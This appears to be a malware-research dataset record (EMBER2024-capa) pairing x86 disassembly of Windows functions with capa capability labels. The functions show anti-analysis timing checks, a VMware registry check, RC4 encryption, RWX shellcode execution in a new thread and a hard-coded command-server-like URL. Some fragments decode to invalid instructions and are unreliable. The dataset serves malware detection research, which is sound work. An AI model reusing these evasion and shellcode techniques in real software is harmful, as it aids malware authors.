joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001b40
Capabilities:
Check for time delay via gettickcount
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp ebx, 4
jb 0x10001bcb
mov esi, dword [ebp - 8]
mov edi, dword [esi]
add esi, 4
mov dword [ebp - 0x10], edi
test edi, edi
je 0x10001bcb
lea eax, [ebx - 4]
push eax
push esi
call fcn.100023a0
lea ecx, [ebx - 4]
add esp, 8
or eax, 0xffffffff
mov edx, esi
test ecx, ecx
je 0x10001ba2
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [edi*4 + 0x10011ed8]
inc edx
dec ecx
jne 0x10001b81
mov edi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0xc]
not eax
cmp eax, edi
jne 0x10001bcb
mov al, byte [esi]
cmp al, 0x64
je 0x10001bbe
cmp al, 0x73
jne 0x10001bcb
inc esi
add ebx, 0xfffffffb
push esi
call fcn.10002740
jmp 0x10001bc8
inc esi
lea eax, [ebx - 5]
push esi
call fcn.10002470
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x10001bdb
push eax
call fcn.10003432
add esp, 4
cmp dword [ebp - 4], 5
jb 0x10001bfe
mov esi, 0x2a30
lea esp, [esp]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
dec esi
jne 0x10001bf0
cmp dword [0x10012358], 0
jne 0x10001c24
jmp 0x10001c10
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x10012358], 0
je 0x10001c10
cmp dword [0x1001235c], 0
je 0x10001c46
mov esi, 0x12c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
dec esi
jne 0x10001c32
mov dword [0x1001235c], esi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov edx, dword [0x100122dc]
lea ecx, [ebp - 8]
push ecx
mov esi, eax
mov eax, dword [edx]
push 0x1000e2fd
call eax
mov ebx, eax
add esp, 8
mov dword [ebp - 0xc], ebx
call edi
sub eax, esi
cmp eax, 0x61a8
jbe 0x10001c7b
inc dword [ebp - 4]
jmp 0x10001c82
mov dword [ebp - 4], 0
cmp ebx, 0xffffffff
jne 0x10001b54
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001da0
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x10010038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0x228
lea eax, [ebp - 0x248]
push 0
push eax
mov dword [ebp - 0x24c], 0x22c
call fcn.100092e0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x24c]
push ecx
push eax
mov dword [ebp - 0x250], eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, 0x28
xor edx, edx
push edi
mov dword [ebp - 0x254], eax
xor ebx, ebx
mov dword [ebp - 0x20], 0x780065
mov dword [ebp - 0x1c], 0x6c0070
mov dword [ebp - 0x18], 0x72006f
mov dword [ebp - 0x14], 0x720065
mov dword [ebp - 0x10], 0x65002e
mov dword [ebp - 0xc], 0x650078
mov word [ebp - 8], dx
call fcn.100032f3
add esp, 4
mov dword [esi], eax
cmp dword [ebp - 0x254], ebx
je 0x10001e9e
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x10001e86
cmp dword [ebp - 0x244], eax
je 0x10001e86
mov edx, edi
inc ebx
shr edx, 2
cmp ebx, edx
jb 0x10001e7a
mov eax, dword [esi]
add edi, edi
push edi
push eax
call fcn.1000353e
add esp, 8
mov dword [esi], eax
mov ecx, dword [esi]
mov edx, dword [ebp - 0x244]
mov dword [ecx + ebx*4 - 4], edx
mov ecx, dword [ebp - 0x250]
lea eax, [ebp - 0x24c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10001e43
mov edx, dword [ebp - 0x250]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi]
mov ecx, dword [ebp - 4]
pop edi
mov dword [eax + ebx*4], 0
xor ecx, ebp
pop ebx
call fcn.100032e4
mov esp, ebp
pop ebp
ret

Function at 0x10001f80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x10010038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea edx, [ebp - 0x48]
push edx
lea eax, [ebp - 0x44]
push eax
push 0x80000000
xor esi, esi
mov dword [ebp - 0x44], 0x700041
mov dword [ebp - 0x40], 0x6c0070
mov dword [ebp - 0x3c], 0x630069
mov dword [ebp - 0x38], 0x740061
mov dword [ebp - 0x34], 0x6f0069
mov dword [ebp - 0x30], 0x73006e
mov dword [ebp - 0x2c], 0x56005c
mov dword [ebp - 0x28], 0x77004d
mov dword [ebp - 0x24], 0x720061
mov dword [ebp - 0x20], 0x480065
mov dword [ebp - 0x1c], 0x73006f
mov dword [ebp - 0x18], 0x4f0074
mov dword [ebp - 0x14], 0x650070
mov dword [ebp - 0x10], 0x2e006e
mov dword [ebp - 0xc], 0x780065
mov dword [ebp - 8], 0x65
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x10002027
mov ecx, dword [ebp - 0x48]
push ecx
lea esi, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100032e4
mov esp, ebp
pop ebp
ret
Function at 0x100022f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x10010038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0xff
xor esi, esi
lea eax, [ebp - 0x103]
push esi
push eax
mov edi, ecx
mov byte [ebp - 0x104], 0
call fcn.100092e0
add esp, 0xc
xor ecx, ecx
xor edx, edx
mov eax, ecx
div edi
mov byte [ecx + 0x10011dd8], cl
inc ecx
mov dl, byte [edx + ebx]
mov byte [ebp + ecx - 0x105], dl
cmp ecx, 0x100
jb 0x10002327
xor eax, eax
jmp 0x10002350
mov cl, byte [eax + 0x10011dd8]
movsx edx, byte [ebp + eax - 0x104]
add esi, edx
movzx edi, cl
add esi, edi
and esi, 0xff
mov dl, byte [esi + 0x10011dd8]
mov byte [eax + 0x10011dd8], dl
inc eax
mov byte [esi + 0x10011dd8], cl
cmp eax, 0x100
jb 0x10002350
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100032e4
mov esp, ebp
pop ebp
ret

Function at 0x100023a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10010038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x108], eax
xor eax, eax
xor edx, edx
xor ebx, ebx
mov ecx, 0x40
mov esi, 0x10011dd8
lea edi, [ebp - 0x104]
rep movsd dword es:[edi], dword [esi]
cmp dword [ebp + 0xc], eax
jbe 0x10002450
jmp 0x100023e6
mov ebx, dword [ebp - 0x10c]
inc edx
and edx, 0xff
mov cl, byte [ebp + edx - 0x104]
movzx esi, cl
add esi, ebx
and esi, 0xff
mov bl, byte [ebp + esi - 0x104]
mov dword [ebp - 0x10c], esi
lea esi, [ebp + esi - 0x104]
mov byte [ebp + edx - 0x104], bl
mov byte [esi], cl
movzx esi, byte [ebp + edx - 0x104]
movzx ecx, cl
add ecx, esi
and ecx, 0x800000ff
jns 0x10002439
dec ecx
or ecx, 0xffffff00
inc ecx
movzx ecx, byte [ebp + ecx - 0x104]
mov esi, dword [ebp - 0x108]
xor byte [esi + eax], cl
inc eax
cmp eax, dword [ebp + 0xc]
jb 0x100023e0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100032e4
mov esp, ebp
pop ebp
ret
Function at 0x10002470
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 8]
push ebx
push esi
mov ebx, eax
mov eax, edx
push edi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10002481
sub eax, esi
sar eax, 1
lea edi, [eax + eax + 2]
cmp edi, ebx
jae 0x1000254a
lea eax, [edi + edx]
mov dword [ebp - 4], eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100024a5
sub eax, edx
lea eax, [eax + edi + 1]
cmp ebx, eax
jb 0x1000254a
push 0x10
call fcn.100036d6
add esp, 4
test eax, eax
je 0x100024d9
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov esi, eax
jmp 0x100024db
xor esi, esi
push ebx
mov dword [esi + 0xc], ebx
call fcn.100032f3
push ebx
mov ebx, dword [ebp + 8]
push ebx
push eax
mov dword [esi + 8], eax
call fcn.100099a0
push edi
call fcn.100032f3
mov ecx, dword [ebp - 4]
push edi
push ecx
push eax
mov dword [esi + 4], eax
call fcn.100099a0
mov eax, ebx
add esp, 0x20
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10002510
sub eax, edx
sar eax, 1
lea edi, [eax + eax + 2]
push edi
call fcn.100032f3
push edi
push ebx
push eax
mov dword [esi], eax
call fcn.100099a0
add esp, 0x10
push 0
push 0
push esi
push 0x10002560
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100025b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1000eac0
push 0x10006d70
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x10010038]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, ecx
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], 0x780065
mov dword [ebp - 0x40], 0x630065
mov dword [ebp - 0x3c], 0x740075
mov dword [ebp - 0x38], 0x200065
mov dword [ebp - 0x34], 0x6c0064
mov dword [ebp - 0x30], 0x20006c
mov dword [ebp - 0x2c], 0x6f006e
mov dword [ebp - 0x28], 0x650020
mov dword [ebp - 0x24], 0x720072
xor ecx, ecx
mov word [ebp - 0x20], cx
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0
mov eax, esi
lea ecx, [eax + 2]
lea ecx, [ecx]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x10002650
sub eax, ecx
sar eax, 1
mov ecx, edi
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x10002664
sub ecx, esi
lea esi, [ecx + eax*2 + 3]
test ebx, ebx
je 0x100026f0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100026d7
mov dword [ebp - 4], 0
mov edx, dword [ebp + 0xc]
push edx
push esi
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [0x100122dc]
push edx
call eax
add esp, 0x10
mov dword [ebp - 0x4c], 1
mov dword [ebp - 4], 0xfffffffe
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x10002700
mov dword [ebp - 0x26], 0x750066
mov ecx, 0x6e
mov word [ebp - 0x22], cx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x10002700
mov dword [ebp - 0x26], 0x6c0064
mov ecx, 0x6c
mov word [ebp - 0x22], cx
cmp dword [ebp - 0x4c], 0
jne 0x1000271d
push 0x64
lea edx, [ebp - 0x44]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
call dword [0x100122d8]
add esp, 0x10
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100032e4
mov esp, ebp
pop ebp
ret

Function at 0x10002740
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
cmp ebx, 4
jle 0x100027a3
push esi
push edi
push 8
call fcn.100036d6
add esp, 4
test eax, eax
je 0x10002763
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov esi, eax
jmp 0x10002765
xor esi, esi
push 0x40
push 0x1000
lea eax, [ebx + 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 8]
push ebx
mov edi, eax
push ecx
push edi
call fcn.100099a0
add esp, 0xc
push 0
push 0
push esi
push 0x100027b0
push 0
push 0
mov dword [esi], edi
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebp
ret
Function at 0x10003180
Capabilities:
Create thread
Get token membership

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x10010038]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, str.www.rare_coisns.com_image_look_javascript_index.php
push ebx
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100031a0
sub eax, edx
sar eax, 1
movzx ecx, word [eax*2 + 0x1000e36a]
add eax, 0x4a379809
xor ecx, eax
jne 0x100031e5
call fcn.10001f80
test eax, eax
jne 0x100031d2
call fcn.10001ed0
test al, al
je 0x100031e5
mov ecx, dword [esp + 0x24]
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.100032e4
mov esp, ebp
pop ebp
ret
xor ebx, ebx
lea edx, [esp + 8]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea eax, [esp + 0x34]
push eax
mov dword [esp + 0x30], ebx
mov dword [esp + 0x38], ebx
mov word [esp + 0x3c], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10003231
mov edx, dword [esp + 8]
lea ecx, [esp + 4]
push ecx
push edx
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [esp + 4]
mov dword [0x10012360], ecx
call fcn.10001280
mov ebx, str.www.rare_coisns.com_image_look_javascript_index.php
call fcn.10001440
push 0x14
call fcn.100036d6
add esp, 4
test eax, eax
je 0x1000326a
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
jmp 0x1000326c
xor eax, eax
lea edx, [esp + 0x14]
push edx
mov dword [0x100122dc], eax
mov dword [eax + 0xc], 0x10001520
mov dword [eax + 8], 0x10001540
mov dword [eax + 4], 0x10001510
mov dword [eax + 0x10], fcn.10003432
mov dword [eax], fcn.100028c0
mov dword [0x100122d8], 0x10002f80
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
push 0
push 0
push 0x10001ca0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, str.www.rare_coisns.com_image_look_javascript_index.php
call fcn.10001440
jmp 0x100032d0
lea eax, [esp + 0x14]
push eax
call fcn.100019c0
add esp, 4
call fcn.10001b40
jmp 0x100032d0

Function at 0x100032e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10010038]
jne 0x100032ee
repz ret
jmp fcn.100039d3
Function at 0x1000772b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10010038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10005ce5
and dword [ebp - 0x14], 0
cmp dword [0x10011d48], 0
mov dword [ebp - 0x18], eax
jne 0x100077de
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10007886
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10007886
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10011d48], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10011d4c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10011d50], eax
call edi
push eax
call esi
mov dword [0x10011d58], eax
test eax, eax
je 0x100077de
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10011d54], eax
mov eax, dword [0x10011d54]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10007837
cmp dword [0x10011d58], ecx
je 0x10007837
push eax
call esi
push dword [0x10011d58]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10007837
test ebx, ebx
je 0x10007837
call edi
test eax, eax
je 0x1000782e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000782e
test byte [ebp - 8], 1
jne 0x10007837
or dword [ebp + 0x10], 0x200000
jmp 0x1000786a
mov eax, dword [0x10011d4c]
cmp eax, dword [ebp - 0x18]
je 0x1000786a
push eax
call esi
test eax, eax
je 0x1000786a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000786a
mov eax, dword [0x10011d50]
cmp eax, dword [ebp - 0x18]
je 0x1000786a
push eax
call esi
test eax, eax
je 0x1000786a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10011d48]
call esi
test eax, eax
je 0x10007886
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10007888
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100032e4
leave
ret
Function at 0x4027e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
push esi
push dword [ebp + 8]
call fcn.004024f1
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x40281a
inc dword [ebp - 0x8c]
invalid
scasd eax, dword es:[edi]
invalid
invalid

Function at 0x402be0
Capabilities:
Inspect section memory permissions

Disassembly:
mov dword [ebp + 0xc], ebx
jmp 0x402beb
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x402c03
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x402c21
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x402c7f
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x402c66
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x402c6f
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x402c79
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x402c5b
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x402be5
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x402ccc
dec eax
je 0x402cc3
sub eax, 3
je 0x402cba
mov dword [ebp - 4], 0x40
jmp 0x402ce9
mov dword [ebp - 4], 4
jmp 0x402ccf
mov dword [ebp - 4], 0x20
jmp 0x402ccf
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
xchg ebp, eax
inc esp
invalid
invalid
invalid
test eax, eax
je 0x402d1b
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x402c9b
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
invalid
Function at 0x402e09
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ebp, 0xfffffccd
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0040253c
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004024f1
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0040253c
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004024f1
add esp, 0xc
les ecx, [ecx + ecx*4]
test eax, eax
cld
invalid
invalid
call fcn.0040252c
pop ebx
mov al, byte [0xa580160f]
int3
Function at 0x4039a5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.0040252c
jmp 0x403a18
dec esp
lea eax, [ebp - 0x72c]
push eax
call fcn.0040253c
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004024f1
add esp, 0xc
mov dword [ebp - 0x6e4], eax
call fcn.0040252c
xor bl, bh
or esi, dword [ebp - 0x7177a73]
invalid
Function at 0x401000
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
call fcn.004036e3
mov dword [ebp - 4], eax
push 0x64
push 0x42e4d4
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
push 0x64
push 0x42e470
push 0xbb
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringA]
test eax, eax
jne 0x4010b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x715
jne 0x4010b6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x20], 0x715
jne 0x4010b6
push 0
push 0xa
push 0xffffffffffffffff
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_DrawIcon]
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x20], eax
push 0xde
push 0x309
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 0x20], 6
jne 0x4010b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4010b6
mov edx, dword [0x42e2d0]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
push eax
call dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040117d
add esp, 4
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004011fd
add esp, 8
test eax, eax
jne 0x4010dd
xor eax, eax
jmp 0x401177
push 0x6d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
lea edx, [ebp - 0x2c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401139
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.USER32.dll_TranslateAcceleratorA]
test eax, eax
jne 0x401131
push 0
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
push 0xa
push 0xa
push 0
call dword [sym.imp.USER32.dll_DrawIcon]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 1
push 0
push 1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp + 8]
jbe 0x40115c
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret 0x10